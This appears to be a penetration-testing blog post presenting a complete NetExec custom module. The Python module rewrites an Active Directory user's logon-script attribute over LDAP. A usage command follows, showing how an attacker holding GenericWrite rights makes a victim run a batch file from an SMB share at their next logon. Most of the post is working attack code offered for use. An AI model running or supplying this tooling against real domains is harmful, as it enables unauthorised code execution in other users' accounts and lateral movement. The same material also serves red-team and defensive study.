The ability to set or change a users logon script property is something that can already be done by tools such as bloodyad and others. However, it would be nice to be able to use the trusted nxc
tool to do this job.
Fortunately, it is pretty easy to create an NXC custom module, so I got to work:
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldap_impacket_asn1
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Set a users logon script path
Module by @NoRelect
"""
name = "set-logonScript"
description = "Set the logonScript attribute on a specific user"
opsec_safe = True
multiple_hosts = False
supported_protocols = ["ldap"]
def options(self, context, module_options):
"""
USER User to set the logon script for
LOGON_SCRIPT The path of the logon script. Can be a local or an SMB share path.
"""
self.user = ""
self.logon_script = ""
if "USER" in module_options:
self.user = module_options["USER"]
if "LOGON_SCRIPT" in module_options:
self.logon_script = module_options["LOGON_SCRIPT"]
if self.user is None or self.user == "":
context.log.fail("Missing USER option, use --options to list available parameters")
sys.exit(1)
if self.logon_script is None:
context.log.fail("Missing LOGON_SCRIPT option, use --options to list available parameters")
sys.exit(1)
def on_login(self, context, connection):
searchFilter = f"(&(objectClass=user)(sAMAccountName={self.user}))"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["objectName", "sAMAccountName", "scriptPath"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
resp = e.getAnswers()
else:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
if len(resp_parsed) != 1:
context.log.fail(f"User {self.user} not found or found multiple times. Aborting.")
return False
user = resp_parsed[0]
resp = resp[0]
context.log.success(f"Found user: {resp["objectName"]} (current logon script: {user.get('scriptPath')})")
context.log.debug(f"Setting script path: {self.logon_script}")
modify_request = ldap_impacket_asn1.ModifyRequest()
modify_request["object"] = resp["objectName"]
if self.logon_script == "":
if user.get('scriptPath') is None:
context.log.highlight(f"Nothing to do, logon script is already unset.")
return False
modify_request["changes"][0]["operation"] = "delete"
modify_request["changes"][0]["modification"]["type"] = "scriptPath"
else:
modify_request["changes"][0]["operation"] = "replace"
modify_request["changes"][0]["modification"]["type"] = "scriptPath"
modify_request["changes"][0]["modification"]["vals"][0] = self.logon_script
context.log.debug(modify_request)
response = connection.ldap_connection.sendReceive(modify_request)[0]['protocolOp']
if response['modifyResponse']['resultCode'] != ldap_impacket_asn1.ResultCode('success'):
context.log.fail('Error returned in modifyResponse -> %s: %s' % (
response['modifyResponse']['resultCode'].prettyPrint(),
response['modifyResponse']['diagnosticMessage']))
return False
context.log.highlight(f"Set user logon script successfully")
else:
context.log.fail(f"User {self.user} not found")
Using the script above placed at ~/.nxc/modules/set-logonScript.py
, we can now change the logon script path of another user if we have GenericWrite
access to the target user object:
nxc ldap 'DC_IP_HERE' -d 'EXAMPLE.COM' -u 'OWNED_USER' -p 'OWNED_PASSWORD' -M set-logonScript \
-o USER='TARGET_USERNAME' LOGON_SCRIPT='\\smb.example.com\share\executeOnLogon.bat'
On the next logon of the target user, the logon script will be executed in the target users context on the machine that the target user logs into.